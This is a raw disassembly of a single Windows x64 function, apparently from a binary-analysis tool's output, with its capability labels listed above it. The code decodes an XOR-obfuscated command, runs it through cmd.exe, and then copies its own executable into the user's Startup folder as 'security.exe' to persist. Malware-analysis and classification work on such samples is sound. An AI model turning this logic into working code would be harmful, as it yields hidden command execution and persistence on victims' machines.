Function at 0x1400021f0
Capabilities:
Create pipe
Create process on windows
Encode data using xor
Get common file path
Get comspec environment variable
Query environment variable
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r13
push r14
lea rbp, [rsp - 0x1500]
mov eax, 0x1600
call fcn.140004270
sub rsp, rax
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0x14f0], rax
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.GetUserNameA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r13d, r13d
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x60], 0x18
mov qword [rsp + 0x70], 1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], rax
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x4f0]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x30], r13d
mov r14d, 0x200
mov r8d, r14d
xor edx, edx
lea rcx, [rbp + 0x1e0]
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x68], r13
xor r9d, r9d
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [rbp - 0x44], 0x101
mov word [rbp - 0x40], r13w
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
mov eax, dword [str.til_om]
mov dword [rbp + 0xd0], eax
movzx eax, word [0x140005634]
mov word [rbp + 0xd4], ax
movzx eax, byte [0x140005636]
mov byte [rbp + 0xd6], al
xor edx, edx
mov r8d, 0xfd
lea rcx, [rbp + 0xd7]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], recv
mov byte [rbp + 0x38], r13b
lea rax, [rbp + 0xd0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r13b
jne 0x140002354
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x38]
call fcn.140003100
nop
movdqa xmm0, xmmword [0x1400057e0]
movdqu xmmword [rbp + 0x70], xmm0
mov dword [rbp + 0x80], 2
mov dword [rbp + 0x84], 4
mov r11d, r13d
movsxd rbx, dword [rbp + 0x48]
test rbx, rbx
jle 0x1400023ee
mov r10, r13
nop
lea r8, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae r8, qword [rbp + 0x38]
lea r9, [rbp + 0x38]
cmovae r9, qword [rbp + 0x38]
mov eax, 0x24924925
mul r11d
mov eax, r11d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 2
imul eax, eax, 7
mov ecx, r11d
sub ecx, eax
movsxd rax, ecx
movzx ecx, byte [rbp + rax*4 + 0x70]
xor cl, byte [r8 + r10]
mov byte [r10 + r9], cl
inc r11d
inc r10
cmp r10, rbx
jl 0x1400023a0
lea rbx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
jb 0x140002413
mov rbx, qword [rbp + 0x38]
test rbx, rbx
jne 0x140002413
lea rcx, str.NULLww_n
call fcn.140001040
jmp 0x1400024df
mov r8d, r14d
lea rdx, [rbp + 0x1e0]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x140002473
mov edx, r14d
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x1e0]
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140002450
mov rdx, r14
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rax, rdi
inc rax
cmp byte [rbx + rax], 0
jne 0x140002476
test eax, eax
je 0x1400024df
lea rcx, [rbp + 0x1e0]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140002490
mov rdx, r14
sub rdx, rax
lea r8, str.__c
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x1e0]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400024c0
mov rdx, r14
sub rdx, rax
mov r8, rbx
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x30]
mov r8d, 0x1000
lea rdx, [rbp + 0x4f0]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], recv
mov byte [rbp + 0x10], 0
lea rax, [rbp + 0x4f0]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140002560
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x10]
call fcn.140003100
nop
lea rbx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rbx, qword [rbp + 0x10]
mov rsi, qword [rbp + 0x20]
test rsi, rsi
je 0x14000261e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rax
mov dword [rbp + 0x128], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x12d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x12c], 1
lea rax, [rsi - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0xd0], 0
jne 0x140002619
cmp rcx, rbx
je 0x14000261e
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0xd0], 0
je 0x140002604
sub rcx, rbx
jmp 0x140002621
mov rcx, rdi
inc rcx
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], recv
cmp rsi, rcx
jb 0x140002ac1
sub rsi, rcx
mov r8, rdi
cmp rsi, rdi
cmovb r8, rsi
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rdx, qword [rbp + 0x10]
add rdx, rcx
lea rcx, [rbp + 0x70]
call fcn.140003100
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400026a5
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400029e8
call fcn.140003440
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rbp + 0x80]
movups xmmword [rbp + 0x20], xmm1
mov qword [rbp - 0x10], r13
mov qword [rbp], r13
mov qword [rbp + 8], recv
mov byte [rbp - 0x10], 0
xor r8d, r8d
lea rdx, [0x1400054e8]
lea rcx, [rbp - 0x10]
call fcn.140003100
nop
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x140002727
lea rax, [rcx + 9]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8d, 9
lea rdx, str.C:Users_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x140002745
mov qword [rsp + 0x20], 9
lea r9, str.C:Users_
mov edx, 9
lea rcx, [rbp - 0x10]
call fcn.140003280
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae r9, qword [rbp + 0x10]
mov rsi, qword [rbp + 0x20]
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x140002796
lea rax, [rcx + rsi]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + rbx], 0
jmp 0x1400027a7
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x10]
call fcn.140003280
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
mov rax, rdx
sub rax, rcx
cmp rax, 0x4b
jb 0x1400027ee
lea rax, [rcx + 0x4b]
mov qword [rbp], rax
lea rbx, [rbp - 0x10]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x10]
add rbx, rcx
mov r8d, 0x4b
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_security.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x4b], 0
jmp 0x14000280c
mov qword [rsp + 0x20], 0x4b
lea r9, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_security.exe
mov edx, 0x4b
lea rcx, [rbp - 0x10]
call fcn.140003280
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
lea rcx, [0x140005580]
call fcn.140001040
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x3e0]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
lea rdx, [rbp + 0x3e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
mov word [rbp + 0xc0], ax
lea r9, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae r9, qword [rbp - 0x10]
lea r8, [rbp + 0x3e0]
lea rdx, str.copy___s____s_
lea rcx, [rbp + 0x90]
call fcn.1400010a0
mov r8d, r14d
lea rdx, [rbp + 0x1e0]
lea rcx, str._COMSPEC_
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
jne 0x1400028f3
mov edx, r14d
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [rbp + 0x1e0]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400028d0
mov rdx, r14
sub rdx, rax
lea r8, str.cmd.exe
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp + 0x90]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140002900
test eax, eax
je 0x140002964
lea rcx, [rbp + 0x1e0]
mov rax, rdi
inc rax
cmp byte [rcx + rax], 0
jne 0x140002917
mov rdx, r14
sub rdx, rax
lea r8, str.__c
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp + 0x1e0]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140002941
sub r14, rdi
lea r8, [rbp + 0x90]
mov rdx, r14
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rax, [rbp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rdx, [rbp + 0x1e0]
lea rcx, [0x140005580]
call fcn.140001040
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x1400029f4
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003440
mov qword [rbp], r13
mov qword [rbp + 8], recv
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140002a42
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003440
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], recv
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140002a90
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003440
mov eax, 1
mov rcx, qword [rbp + 0x14f0]
xor rcx, rsp
call fcn.140003420
lea r11, [rsp + 0x1600]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rbp
ret
call fcn.140003260
nop
int3